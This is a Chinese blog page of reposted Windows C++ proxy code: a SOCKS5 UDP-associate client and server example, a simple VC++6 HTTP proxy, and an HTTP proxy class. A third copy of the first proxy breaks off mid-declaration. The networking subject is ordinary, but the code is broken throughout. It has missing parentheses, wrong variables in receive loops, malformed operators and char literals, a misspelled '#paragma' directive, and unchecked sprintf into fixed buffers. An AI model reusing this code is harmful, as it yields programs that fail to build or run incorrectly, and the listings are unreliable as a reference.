SOCKS V5提供了对UDP的支持,它通过在代理服务器和内网主机之间建立一个UDP中继的TCP连接,来辅助进行UDP数据包的收发。此连接有一个有效期,在此有效生命周期内,必须往代理发送UDP数据报确认连接有效,来维持此连接的有效性,否则,代理服务器超时,将会自动释放此连接的资源。
下面简单地罗列程序实现,不涉及详细的协议规范。

// 客户端为UDP中继建立一个相关的流套接字
SOCKET m_socClientTCP_UdpAssociate = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

// 连接代理服务器
int nRet=connect(m_socClientTCP_UdpAssociate,(SOCKADDR*)&saiProxy,sizeof(saiProxy));

// 连接成功,开始和代理服务器协商,首先发送版本标志,方法选择报文
const char reqNego[4]={(char)0x05,(char)0x02,(char)0x00,(char)0x02};
nRet = send(m_socClientTCP_UdpAssociate,reqNego,4,0);
if( nRet==SOCKET_ERROR
{
DWORD dwError = WSAGetLastError();
if (dwError!=WSAEWOULDBLOCK) return NCM_E_WM_CREATE_PROXYREQUESTFAILED;
}

// 接收协商的响应
fd_set fdread; FD_ZERO(&fdread);
FD_SET(m_socClientTCP_UdpAssociate,&fdread);
if((nRet=select(0,&fdread,NULL,NULL,NULL))==SOCKET_ERROR) return NCM_E_WM_CREATE_PROXYCONNECTFAILED;
char resNego[2]={0};
int nRcvd=0,nCount=0;
if(FD_ISSET(m_socClientTCP_UdpAssociate,&fdread))
{
nRcvd = recv(m_socClientTCP_UdpAssociate, (char*)resNego+nRcvd, 2,0);
if(nRcvd==SOCKET_ERROR) return NCM_E_WM_CREATE_PROXYCONNECTFAILED;
}
if(resNego[0]!=0x05 || (resNego[1]!=0x00 && resNego[1]!=0x02)) return NCM_E_WM_CREATE_PROXYCONNECTFAILED;

// 看是否需要密码验证
if(resNego[1]==0x02)
{
// 需要密码验证
char reqAuth[513]; memset(reqAuth,0,513);
BYTE byLenUser = (BYTE)strlen(m_szProxyUserName);
BYTE byLenPswd = (BYTE)strlen(m_szProxyPassword);
reqAuth[0]=0x01;
reqAuth[1]=byLenUser;
sprintf(&reqAuth[2],"%s",m_szProxyUserName);
reqAuth[2+byLenUser]=byLenPswd;
sprintf(&reqAuth[3+byLenUser],"%s",m_szProxyPassword);
//Send authentication info
int len = (int)byLenUser + (int)byLenPswd + 3;
int ret=send(m_socClientTCP_UdpAssociate,(const char*)reqAuth,len,0);
if (ret==SOCKET_ERROR) if (GetLastError()!=WSAEWOULDBLOCK) return NCM_E_WM_CREATE_PROXYREQUESTFAILED;

//Now : Response to the auth request
char resAuth[2]={'\0'};
int nRcvd=0,nCount=0;
do{
ret = recv(m_socClientTCP_UdpAssociate,resAuth+nRcvd,2-nRcvd,0);
if(ret==SOCKET_ERROR){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
nRcvd += nRet;
}
while((nRcvd!=2)&&(++nCount<1000));
if(nCount>=1000){return NC_E_PROXY_RECEIVE}
if (resAuth[1]!=0) return NEM_E_WM_CREATE_PROXYAUTHFAILED;
// 密码验证通过了
}

// 开始发送向目标服务器的连接请求,其中DST.ADDR是目标服务器的地址,DST.PORT是目标服务器的UDP端口
char reqSubNego[10]={(char)0x05,(char)0x03,(char)0x00,(char)0x01,(char)0x00,(char)0x00,(char)0x00,(char)0x00,(char)0x00,(char)0x00};
*(unsigned long*)&reqSubNego[4] =saiServerUDP.sin_addr.S_un.S_addr; // cmd: DEST.addr
*(unsigned short*)&reqSubNego[8]=saiServerUDP.sin_port; // cmd: DEST.port in network octet order
nRet=send(m_socClientTCP_UdpAssociate,(const char*)reqSubNego,10,0);
if (nRet==SOCKET_ERROR) return NEM_E_WM_CREATE_PROXYREQFAILED;

// 接收响应信息
int nRecvCount = 0;
int nRecvBufferLen = 10;
char szRecvBuf[10];
nRet = 0;
if(FD_ISSET(m_socClientTCP_UdpAssociate,&fdread))
{
int nRcvd=0,nCount=0;
do{
nRet = recv(m_socClientTCP_UdpAssociate,(char*)szRecvBuf+nRcvd,10-nRcvd,0);
if(nRet==SOCKET_ERROR){return NC_E_PROXY_RECEIVE|WSAGetLastError();}
nRcvd += nRet;
}
while((nRcvd!=10)&&(++nCount<1000));
if(nCount>=1000){return NC_E_PROXY_RECEIVE;}
if (szRecvBuf[0]!=0x05||szRecvBuf[1]!=0x00){return NC_E_PROXY_PROTOCOL_VERSION_SUB;}
}
else
{
return NCM_E_WM_CREATE_PROXYREQUESTFAILED;
}

// 代理服务器绑定udp地址BND.ADR,一般代理服务器都是多宿主机器,因此这个绑定地址是局域网地址,代理服务器绑定udp端口BND.PORT
// m_ulProxyUDPAddr 代理绑定地址
// m_usUDPAssociatePort 代理绑定端口
memmove(&m_ulProxyUDPAddr,&szRecvBuf[4],4);
memmove(&m_usUDPAssociatePort,&szRecvBuf[8],2);

m_bUDPAssociated = TRUE;
// 至此,得到了代理绑定的地址和端口,客户端就可以通过它来收发UDP数据报了


// 客户端收发实例
// 首先创建数据报套接字,绑定套接字,得到本地数据报套接字地址,端口
SOCKET m_socClientUDP=WSASocket(AF_INET,SOCK_DGRAM,0,NULL,0,WSA_FLAG_OVERLAPPED);
SOCKADDR_IN saiLocal;
memset(&saiLocal,0,sizeof(saiLocal));
saiLocal.sin_family = AF_INET;
saiLocal.sin_port = 0;
saiLocal.sin_addr.S_un.S_addr = INADDR_ANY;
// 绑定本地udp套接字地址,地址+端口由系统决定
if (bind(m_socClientUDP, (SOCKADDR *)&saiLocal, sizeof(saiLocal) == SOCKET_ERROR)
getsockname(m_socClientUDP, (sockaddr*)&saiLocal, &len);
// m_ulHostAddr 本机绑定地址
// m_usHostPortUdp 本机绑定端口
m_ulHostAddr = saiLocal.sin_addr.S_un.S_addr;
m_usHostPortUdp = saiLocal.sin_port;

// 按照格式,发送数据
SOCKADDR_IN saiProxy;
memset(&saiProxy,0,sizeof(saiProxy));
saiProxy.sin_family = AF_INET;
saiProxy.sin_addr.S_un.S_addr = m_ulProxyUDPAddr; // 代理绑定的udp地址
saiProxy.sin_port = m_usUDPAssociatePort; // 代理绑定的udp端口

// 每个UDP包必须携带如下所述的头:
+----+------+------+----------+----------+----------+
|RSV | FRAG | ATYP | DST.ADDR | DST.PORT | DATA |
+----+------+------+----------+----------+----------+
| 2 | 1 | 1 | Variable | 2 | Variable |
+----+------+------+----------+----------+----------+
// 其中 ATYP==0x01 表示采用 IPV4 地址,那么头长度就是10,DST.ADDR并不是服务器地址,而是本机绑定地址,DST.PORT是本机绑定端口
char buf[10+2]={'0x00','0x00','0x00','0x01','0xff'};
memmove(&buf[4],&m_ulHostAddr,4);
*(unsigned short*)&buf[8]=m_usHostPortUDP;
int nRet = sendto(m_socClientUDP,buf,12,0,(SOCKADDR*)&saiProxy,sizeof(saiProxy));

// 接收数据
int nLen = sizeof(saiProxy);
char buf=new char[MAX_UDPLEN];
nRet = recvfrom(m_socClientUDP,buf,MAX_UDPLEN,0,(SOCKADDR *)&saiProxy,&nLen);
if(nRet==SOCKET_ERROR) return SOCKET_ERROR;
BYTE flag=0xff;
if(memcmp(&buf[0],&flag,1)==0) return SOCKET_ERROR;
BYTE byProxyHead[20];
byProxyHead[0]=byProxyHead[1]=byProxyHead[2]=0;
byProxyHead[3]=1;
*(unsigned long*)&byProxyHead[4] = saiServerUDP.sin_addr.S_un.S_addr;
*(unsigned short*)&byProxyHead[8] = saiServerUDP.sin_port;
byProxyHead[10]=byProxyHead[11]=byProxyHead[12]=0;
byProxyHead[13]=1;
*(unsigned long*)&byProxyHead[14] = m_ulHostAddr;
*(unsigned short*)&byProxyHead[18] = m_usHostPortUdp;

int i=0;
BOOL bIsForMe=FALSE;
if(memcmp(&byProxyHead[0],&buf[i],4)==0)
{
unsigned long ulRetAddr = *(unsigned long*)&buf[i+4];
if(ulRetAddr==m_ulHostAddr)
{
unsigned short usRetPort = ntohs((unsigned short)(*(unsigned short*)&buf[i+8]));
if(usRetPort==m_usHostPortUdp)
{
bIsForMe=TRUE;
}
}
i+=10;
}
// 客户端收发结束


// 服务器端发送实例
// m_ulProxyUDPAddr 代理绑定地址
// m_usUDPAssociatePort 代理绑定端口
// m_ulHostAddr 本机绑定地址
// m_usHostPortUdp 本机绑定端口
// 客户端必须把上面的m_ulProxyUDPAddr,m_usUDPAssociatePort,m_ulHostAddr,m_usHostPortUdp告知服务器,服务器通过这两个套接字进行数据的收发

// 服务器创建数据报套接字
SOCKET m_socUDP=WSASocket(AF_INET,SOCK_DGRAM,0,NULL,0,WSA_FLAG_OVERLAPPED);

// 代理的udp中继地址
SOCKADDR_IN saiClient;
saiClient.sin_family = AF_INET;
saiClient.sin_addr.S_un.S_addr = m_ulProxyUDPAddr;
saiClient.sin_port = m_usUDPAssociatePort;
// 如果远程目标在代理服务器后面,透过代理,指定远程目标的socks信息,参照RFC1928
char buffer[10]={'\0'};
buffer[0]=buffer[1]=buffer[2]=0;
buffer[3]=1; // No Fragment, It's a dependent udp, no need for socks server to arrange udp fragments

// 目标机器的地址端口,透过代理后发向这里
*(int*)&buffer[4]=m_ulHostAddr;
*(unsigned short*)&buffer[8]=m_usHostPortUdp;
BYTE buf[DATA_BUFSIZE]={'\0'};
memmove(&buf[10],&szSendbuf[0],dwLength);
memmove(&buf[0],&buffer[0],10);
int nSent = sendto(m_socUDP, (const char*)&buf[0], dwLength+10, 0, (SOCKADDR*)&saiClient,sizeof(saiClient));
// 服务器端发送结束
re: 代理服务器代码 聂文龙 2008-10-21 02:23
VC++6实现简单的代理服务器

本文转自CSDN的blog:http://blog.csdn.net/snaill/archive/2006/03/14/624437.aspx

#include "stdafx.h"
#include "Proxy.h"
#include < winsock2.h > //WINSOCKET API 2。0
#include < stdlib.h >
#include < stdio.h >
#include < string.h >

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////


#define HTTP "http://"
#define FTP "ftp://"
#define PROXYPORT 5001 //Proxy 端口
#define BUFSIZE 10240 //缓冲区大小


CWinApp theApp;

using namespace std;

UINT ProxyToServer(LPVOID pParam);
UINT UserToProxyThread(void *pParam);

struct SocketPair{
SOCKET user_proxy; //socket : 本地机器到PROXY 服务机
SOCKET proxy_server; //socket : PROXY 服务机到远程主机
BOOL IsUser_ProxyClosed; // 本地机器到PROXY 服务机状态
BOOL IsProxy_ServerClosed; // PROXY 服务机到远程主机状态
};


struct ProxyParam{
char Address[256]; // 远程主机地址
HANDLE User_SvrOK; // PROXY 服务机到远程主机的联结状态
SocketPair *pPair; // 维护一组SOCKET的指针
int Port; // 用来联结远程主机的端口
}; //这个结构用来PROXY SERVER与远程主机的信息交换.

SOCKET gListen_Socket; //用来侦听的SOCKET。

int StartServer() //启动服务
{
WSADATA wsaData;
sockaddr_in local;
SOCKET listen_socket;

if(::WSAStartup(0x202,&wsaData)!=0)
{printf("\nError in Startup session.\n");WSACleanup();return -1;};

local.sin_family=AF_INET;
local.sin_addr.s_addr=INADDR_ANY;
local.sin_port=htons(PROXYPORT);

listen_socket=socket(AF_INET,SOCK_STREAM,0);
if(listen_socket==INVALID_SOCKET)
{printf("\nError in New a Socket.");WSACleanup();return -2;}

if(::bind(listen_socket,(sockaddr *)&local,sizeof(local))!=0)
{printf("\n Error in Binding socket."); WSACleanup();return -3; };

if(::listen(listen_socket,5)!=0)
{printf("\n Error in Listen."); WSACleanup(); return -4;}
gListen_Socket=listen_socket;
AfxBeginThread(UserToProxyThread,NULL); //启动侦听
return 1;
}

int CloseServer() //关闭服务
{
closesocket(gListen_Socket);
WSACleanup();
return 1;
}
//分析接收到的字符,得到远程主机地址

int GetAddressAndPort( char * str, char *address, int * port)
{
char buf[BUFSIZE], command[512], proto[128], *p;
int j;
sscanf(str,"%s%s%s",command,buf,proto);
p=strstr(buf,HTTP);
//HTTP
if(p)
{
p+=strlen(HTTP);
for(int i=0;i< strlen(p);i++)
if( *(p+i)=='/') break;
*(p+i)=0;
strcpy(address,p);
p=strstr(str,HTTP);
for(int j=0;j< i+strlen(HTTP);j++)
*(p+j)=' '; //去掉远程主机名: GET http:/www.csdn.net/ HTTP1.1 == > GET / HTTP1.1
*port=80; //缺省的 http 端口
}
else
{//FTP, 不支持, 下面的代码可以省略.
p=strstr(buf,FTP);
if(!p) return 0;
p+=strlen(FTP);
for(int i=0;i< strlen(p);i++)
if( *(p+i)=='/') break; //Get The Remote Host
*(p+i)=0;
for(j=0;j< strlen(p);j++)
if(*(p+j)==':')
{*port=atoi(p+j+1); //Get The Port
*(p+j)=0;
}
else *port=21;

strcpy(address,p);
p=strstr(str,FTP);
for(j=0;j< i+strlen(FTP);j++)
*(p+j)=' ';
}
return 1;
}

// 取到本地的数据,发往远程主机
UINT UserToProxyThread(void *pParam)
{
char Buffer[BUFSIZE];
int Len;
sockaddr_in from;
SOCKET msg_socket;
int fromlen,retval;
SocketPair SPair;
ProxyParam ProxyP;
CWinThread *pChildThread;
fromlen=sizeof(from);
msg_socket=accept(gListen_Socket,(struct sockaddr*)&from,&fromlen);
AfxBeginThread(UserToProxyThread,pParam); //启动另一侦听.
if( msg_socket==INVALID_SOCKET)
{ printf( "\nError in accept "); return -5;}
//读客户的第一行数据

SPair.IsUser_ProxyClosed=FALSE;
SPair.IsProxy_ServerClosed=TRUE;
SPair.user_proxy=msg_socket;

retval=recv(SPair.user_proxy,Buffer,sizeof(Buffer),0);

if(retval==SOCKET_ERROR)
{ printf("\nError Recv");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
}
if(retval==0)
{printf("Client Close connection\n");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
}
Len=retval;
#ifdef _DEBUG

Buffer[Len]=0;
printf("\n Received %d bytes,data[%s]from client\n",retval,Buffer);
#endif
//
SPair.IsUser_ProxyClosed=FALSE;
SPair.IsProxy_ServerClosed=TRUE;
SPair.user_proxy=msg_socket;

ProxyP.pPair=&SPair;
ProxyP.User_SvrOK=CreateEvent(NULL,TRUE,FALSE,NULL);

GetAddressAndPort( Buffer,ProxyP.Address,&ProxyP.Port);

pChildThread=AfxBeginThread(ProxyToServer,(LPVOID)&ProxyP);
::WaitForSingleObject(ProxyP.User_SvrOK,60000); //等待联结
::CloseHandle(ProxyP.User_SvrOK);

while(SPair.IsProxy_ServerClosed ==FALSE && SPair.IsUser_ProxyClosed==FALSE)
{
retval=send(SPair.proxy_server,Buffer,Len,0);
if(retval==SOCKET_ERROR)
{ printf("\n send() failed:error%d\n",WSAGetLastError());
if(SPair.IsProxy_ServerClosed==FALSE)
{
closesocket(SPair.proxy_server);
SPair.IsProxy_ServerClosed=TRUE;
}
continue;
}
retval=recv(SPair.user_proxy,Buffer,sizeof(Buffer),0);

if(retval==SOCKET_ERROR)
{ printf("\nError Recv");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
continue;
}
if(retval==0)
{printf("Client Close connection\n");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
break;
}
Len=retval;
#ifdef _DEBUG
Buffer[Len]=0;
printf("\n Received %d bytes,data[%s]from client\n",retval,Buffer);
#endif

} //End While

if(SPair.IsProxy_ServerClosed==FALSE)
{
closesocket(SPair.proxy_server);
SPair.IsProxy_ServerClosed=TRUE;
}
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
::WaitForSingleObject(pChildThread- >m_hThread,20000); //Should check the return value
return 0;
}
// 读取远程主机数据,并发往本地客户机
UINT ProxyToServer(LPVOID pParam){
ProxyParam * pPar=(ProxyParam*)pParam;
char Buffer[BUFSIZE];
char *server_name= "localhost";
unsigned short port ;
int retval,Len;
unsigned int addr;
int socket_type ;
struct sockaddr_in server;
struct hostent *hp;
SOCKET conn_socket;

socket_type = SOCK_STREAM;
server_name = pPar- >Address;
port = pPar- >Port;

if (isalpha(server_name[0])) { /* server address is a name */
hp = gethostbyname(server_name);
}
else { /* Convert nnn.nnn address to a usable one */
addr = inet_addr(server_name);
hp = gethostbyaddr((char *)&addr,4,AF_INET);
}
if (hp == NULL ) {
fprintf(stderr,"Client: Cannot resolve address [%s]: Error %d\n",
server_name,WSAGetLastError());
::SetEvent(pPar- >User_SvrOK);
return 0;
}

//
// Copy the resolved information into the sockaddr_in structure
//
memset(server,0,sizeof(server));
memcpy(&(server.sin_addr),hp- >h_addr,hp- >h_length);
server.sin_family = hp- >h_addrtype;
server.sin_port = htons(port);

conn_socket = socket(AF_INET,socket_type,0); /* 打开一个 socket */
if (conn_socket < 0 ) {
fprintf(stderr,"Client: Error Opening socket: Error %d\n",
WSAGetLastError());
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
::SetEvent(pPar- >User_SvrOK);
return -1;
}
#ifdef _DEBUG
printf("Client connecting to: %s\n",hp- >h_name);
#endif
if (connect(conn_socket,(struct sockaddr*)server,sizeof(server))
== SOCKET_ERROR) {
fprintf(stderr,"connect() failed: %d\n",WSAGetLastError());
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
::SetEvent(pPar- >User_SvrOK);
return -1;
}
pPar- >pPair- >proxy_server=conn_socket;
pPar- >pPair- >IsProxy_ServerClosed=FALSE;
::SetEvent(pPar- >User_SvrOK);
// cook up a string to send
while(!pPar- >pPair- >IsProxy_ServerClosed &&!pPar- >pPair- >IsUser_ProxyClosed)
{
retval = recv(conn_socket,Buffer,sizeof (Buffer),0 );
if (retval == SOCKET_ERROR ) {
fprintf(stderr,"recv() failed: error %d\n",WSAGetLastError());
closesocket(conn_socket);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
break;
}
Len=retval;
if (retval == 0) {
printf("Server closed connection\n");
closesocket(conn_socket);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
break;
}

retval = send(pPar- >pPair- >user_proxy,Buffer,Len,0);
if (retval == SOCKET_ERROR) {
fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
closesocket(pPar- >pPair- >user_proxy);
pPar- >pPair- >IsUser_ProxyClosed=TRUE;
break;
}
#ifdef _DEBUG
Buffer[Len]=0;
printf("Received %d bytes, data [%s] from server\n",retval,Buffer);
#endif
}
if(pPar- >pPair- >IsProxy_ServerClosed==FALSE)
{
closesocket(pPar- >pPair- >proxy_server);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
}
if(pPar- >pPair- >IsUser_ProxyClosed==FALSE)
{closesocket(pPar- >pPair- >user_proxy);
pPar- >pPair- >IsUser_ProxyClosed=TRUE;
}
return 1;
}



int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// 初始化SOCKET
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// 错误处理
cerr < < _T("Fatal Error: MFC initialization failed") < < endl;
nRetCode = 1;
}
else
{
// 主程序开始.
StartServer();
while(1)
if(getchar()=='q') break;
CloseServer();
}

return nRetCode;
}
re: 代理服务器代码 聂文龙 2008-10-21 02:22
打造自己的HTTP代理服务器
#include "stdafx.h"
#include "HTTPPROXY.h"
#define FD_NOEVENT 0
//
#define BACKUP 100
#define MAXDATALEN 65535
int HttpListenPort;
SOCKET HttpListenSock;
//
typedef struct _CLIENTINFO{
SOCKET clientsock;
SOCKET udpsock;
sockaddr_in clientsock_addr;
}CLIENTINFO,*LPCLIENTINFO;
CLIENTINFO HttpClientInfo;
//
typedef struct _SOCKINFO{
SOCKET sourcesock;
SOCKET destsock;
}SOCKINFO,*LPSOCKINFO;
SOCKINFO httpsockinfo;
//
extern long GetSocketEventId(SOCKET remotesock);
extern unsigned long GetLocalIp();
extern unsigned long GetDomainIp(char domainname[250]);
/*
long GetSocketEventId(SOCKET remotesock){
long EventId;
HANDLE hevent;
hevent=CreateEvent(NULL,0,0,0);
WSANETWORKEVENTS socket_events;
EventId=FD_NOEVENT;
if(WSAEventSelect(remotesock,hevent,FD_ACCEPT|FD_CONNECT|FD_
READ|FD_WRITE|FD_CLOSE)==SOCKET_ERROR) return EventId;
WSAEnumNetworkEvents(remotesock,hevent,&socket_events);
if(socket_events.lNetworkEvents!=0){
switch(socket_events.lNetworkEvents){
case FD_ACCEPT:EventId=FD_ACCEPT;break;
case FD_CONNECT:EventId=FD_CONNECT;break;
case FD_READ:EventId=FD_READ;break;
case FD_WRITE:EventId=FD_WRITE;break;
case FD_CLOSE:EventId=FD_CLOSE;break;
case FD_OOB:EventId=FD_OOB;break;
default:EventId=FD_NOEVENT;break;
}
}
else EventId=FD_NOEVENT;
return EventId;
}
//
unsigned long GetLocalIp()
{
char IP[MAX_PATH],*ip;
char pc_name[80];
struct in_addr in;
struct hostent *host;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested=MAKEWORD(2,0);
ip=IP;
strcpy(ip,"Ip not get!");
if(WSAStartup(wVersionRequested,&wsaData)) return 0;
if(gethostname(pc_name,80)==SOCKET_ERROR){
WSACleanup();
return 0;
}
if(!(host=gethostbyname(pc_name))){
WSACleanup();
return 0;
}
in.s_addr=*((unsigned long *)host->h_addr_list[0]);
strcpy(ip,inet_ntoa(in));
WSACleanup();
return in.s_addr;
}
//
unsigned long GetDomainIp(char domainname[250])
{
char IP[MAX_PATH],*ip;
struct in_addr in;
struct hostent *host;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested=MAKEWORD(2,0);
ip=IP;
strcpy(ip,"Ip not get!");
if(WSAStartup(wVersionRequested,&wsaData)) return 0;
if(!(host=gethostbyname(domainname))){
WSACleanup();
return 0;
}
in.s_addr=*((unsigned long *)host->h_addr_list[0]);
strcpy(ip,inet_ntoa(in));
WSACleanup();
return in.s_addr;
}
*/
//
//
UINT HttpReciveThread(LPVOID info){ //针对客户端的接收处理线程
LPSOCKINFO psockinfo;
SOCKET sourcesock,destsock;
char data[MAXDATALEN];
long eventid;
int datalen;
psockinfo=(LPSOCKINFO)info;
sourcesock=psockinfo->sourcesock;
destsock=psockinfo->destsock;
TRACE("deail recive thread ok!\r\n");
while(true){
eventid=GetSocketEventId(sourcesock);
switch(eventid){
case FD_CLOSE:
TRACE("s fdclosed\r\n");
closesocket(destsock);
return 1;
break;
default:break;
}
eventid=GetSocketEventId(destsock);
switch(eventid){
case FD_CLOSE:
closesocket(sourcesock);
TRACE("d fdclosed\r\n");
return 1;
break;
default:break;
}
datalen=recv(sourcesock,data,sizeof(data),0);
if(datalen==0){
closesocket(sourcesock);
closesocket(destsock);
TRACE("s fdclosed\r\n");
break;
}
if(datalen>0){
while(!send(destsock,data,datalen,0));
}
Sleep(1);
}
return 1;
}
//
UINT HttpSendThread(LPVOID info){ //针对远程端的接收处理线程
LPSOCKINFO psockinfo;
SOCKET sourcesock,destsock;
char data[MAXDATALEN];
long eventid;
int datalen;
psockinfo=(LPSOCKINFO)info;
sourcesock=psockinfo->sourcesock;
destsock=psockinfo->destsock;
TRACE("deail send thread ok!\r\n");
while(true){
eventid=GetSocketEventId(sourcesock);
switch(eventid){
case FD_CLOSE:
TRACE("s fdclosed\r\n");
closesocket(destsock);
return 1;
break;
default:break;
}
eventid=GetSocketEventId(destsock);
switch(eventid){
case FD_CLOSE:
closesocket(sourcesock);
TRACE("d fdclosed\r\n");
return 1;
break;
default:break;
}
datalen=recv(destsock,data,sizeof(data),0);
if(datalen==0){
closesocket(sourcesock);
closesocket(destsock);
TRACE("d fdclosed\r\n");
break;
}
if(datalen>0){
while(!send(sourcesock,data,datalen,0));
}
Sleep(1);
}
return 1;
}
//
//
UINT HttpProxyServerThread(LPVOID info){ //针对一次服务的线程
LPCLIENTINFO pclientinfo;
SOCKET connectsock,clientsock;
sockaddr_in remotesock_addr;
char data[MAXDATALEN],url[250],temp[250],httpurl[250],portnum[10];
int datalen,i,index_start,index_end,port;
CString HttpString,UrlString,PortString;
pclientinfo=(LPCLIENTINFO)info;
clientsock=pclientinfo->clientsock;
ZeroMemory((void *)data,sizeof(data));
datalen=recv(clientsock,data,sizeof(data),0);
if(datalen<=0){
closesocket(clientsock);
return 0;
}
HttpString.Format("%s",data);
UrlString=HttpString;
TRACE("get http string:\r\n");
TRACE(HttpString);
index_start=HttpString.Find("Host: ",0); //寻找url标记
if(index_start<=0){
closesocket(clientsock);
return 0;
}
index_end=HttpString.Find("\r\n",index_start);
if(index_end<=0){
closesocket(clientsock);
return 0;
}
UrlString=HttpString.Mid(index_start+6,index_end-index_start-6); //读取 url字符串
TRACE("\r\n get url:");
TRACE(UrlString);
wsprintf(url,"%s",UrlString);
strcpy(temp,url);
strcat(temp,":");
datalen=strlen(temp);
if(HttpString.Find("GET",0)==0){ //判断get命令,并处理
index_start=HttpString.Find(temp,0);
strcpy(httpurl,"http://");
if(index_start>0){
index_end=HttpString.Find("/",index_start);
if(index_end<=0){
closesocket(clientsock);
return 0;
}
PortString=HttpString.Mid(index_start+datalen,index_end-index_start-datalen);
port=atoi(PortString);
strcat(httpurl,temp);
itoa(port,portnum,sizeof(portnum));
strcat(httpurl,portnum);
strcat(httpurl,"/");
}
else{
port=80;
strcat(httpurl,url);
strcat(httpurl,"/");
}
TRACE("get http url:%s\r\n",httpurl);
HttpString.Replace(httpurl,"/");
HttpString.Replace("Proxy-","");
HttpString.Replace("HTTP/1.0","HTTP/1.1");
}
else if(HttpString.Find("CONNECT",0)==0){ //判断connect命令并处理
index_start=HttpString.Find(temp,0);
if(index_start>0){
index_end=HttpString.Find(" ",index_start);
if(index_end<=0){
closesocket(clientsock);
return 0;
}
PortString=HttpString.Mid(index_start+datalen,index_end-index_start-datalen);
port=atoi(PortString);
}
else{
closesocket(clientsock);
return 0;
}
}
TRACE("get new http string:\r\n");
TRACE(HttpString);
remotesock_addr.sin_family=AF_INET;
remotesock_addr.sin_port=htons(port);
remotesock_addr.sin_addr.S_un.S_addr=GetDomainIp(url);
connectsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(connect(connectsock,(const sockaddr *)&remotesock_addr,sizeof(remotesock_addr))==INVALID_SOCKET){ //连接远程主机
closesocket(clientsock);
return 0;
}
TRACE("\r\nconnect to remote ip ok\r\n");
ZeroMemory((void *)data,sizeof(data));
wsprintf(data,"%s",HttpString);
datalen=strlen(data);
if(HttpString.Find("CONNECT",0)<0) while(!send(connectsock,data,datalen,0));
else{
strcpy(data,"HTTP/1.0 200 Connection established\r\nProxy-agent: CHTTPPROXY V1.0 powered by shadow\r\n\r\n");
datalen=strlen(data);
while(!send(clientsock,data,datalen,0));
}
httpsockinfo.sourcesock=clientsock;
httpsockinfo.destsock=connectsock;
AfxBeginThread(HttpReciveThread,(LPVOID)&httpsockinfo); //抛出处理线程
AfxBeginThread(HttpSendThread,(LPVOID)&httpsockinfo); //
Sleep(100);
return 1;
}
//
UINT StartHttpProxy(LPVOID info){ //端口监听线程
SOCKET NewSock;
int socklen;
sockaddr_in serversock,remotesock_addr;
serversock.sin_family=AF_INET;
serversock.sin_addr.S_un.S_addr=INADDR_ANY;
serversock.sin_port=htons(HttpListenPort);
HttpListenSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(HttpListenSock==INVALID_SOCKET) return 0;
if(bind(HttpListenSock,(const sockaddr *)&serversock,
sizeof(serversock))==SOCKET_ERROR) return 0;
listen(HttpListenSock,BACKUP);
socklen=sizeof(remotesock_addr);
TRACE("start http proxy thread while\r\n");
while(true){
NewSock=accept(HttpListenSock,(sockaddr *)&remotesock_addr,&socklen);
TRACE("waitting ok...\r\n");
if(NewSock==INVALID_SOCKET){
Sleep(1);
continue;
}
ZeroMemory((void *)&HttpClientInfo,sizeof(CLIENTINFO));
HttpClientInfo.clientsock=NewSock;
HttpClientInfo.clientsock_addr=remotesock_addr;
TRACE("start proxy thread\r\n");
AfxBeginThread(HttpProxyServerThread,(LPVOID)&HttpClientInfo);
Sleep(100);
}
return 1;
}
//
CHTTPPROXY::CHTTPPROXY()
{
WSADATA WsaData;
WORD wsaVer;
wsaVer=MAKEWORD(2,0);
WsaStartupOk=false;
if(WSAStartup(wsaVer,&WsaData)!=SOCKET_ERROR) WsaStartupOk=true;
}

CHTTPPROXY::~CHTTPPROXY()
{
if(WsaStartupOk){
WSACleanup();
}
}

int CHTTPPROXY::StartProxy(int listenport)
{
HttpListenPort=listenport;
AfxBeginThread(StartHttpProxy,(LPVOID)NULL);
return 1;
}


/*=========================================================
FILE:HTTPPROXY.h
==========================================================*/
class CHTTPPROXY
{
public:
int StartProxy(int listenport);
bool WsaStartupOk;
CHTTPPROXY();
virtual ~CHTTPPROXY();

};

/*==================================================
FILE:stdafx.h
===================================================*/
#include
#include
#include
#include


注:不要忘了在link选项中添加wsock32.lib和ws2_32.lib,或在文件前部加上如下语句:
#paragma comment(lib,"wsock32.lib")
#paragma comment(lib,"ws2_32.lib")

本代码在win2k和vc6.0下编译成功~~
用法,把这几个文件添加到你的项目中,在WinMain()中添加如下代码:
CHTTPPROXY httpproxy;
httpproxy.StartProxy(7890);
有问题mailto me!


re: 代理服务器代码 聂文龙 2008-10-21 02:19
#include "stdafx.h"
#include "Proxy.h"
#include < winsock2.h > //WINSOCKET API 2。0
#include < stdlib.h >
#include < stdio.h >
#include < string.h >


#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif


/////////////////////////////////////////////////////////////////////////////


#define HTTP "http://"
#define FTP "ftp://"
#define PROXYPORT 5001 //Proxy 端口
#define BUFSIZE 10240 //缓冲区大小


CWinApp theApp;


using namespace std;


UINT ProxyToServer(LPVOID pParam);
UINT UserToProxyThread(void *pParam);


strUCt SocketPair{
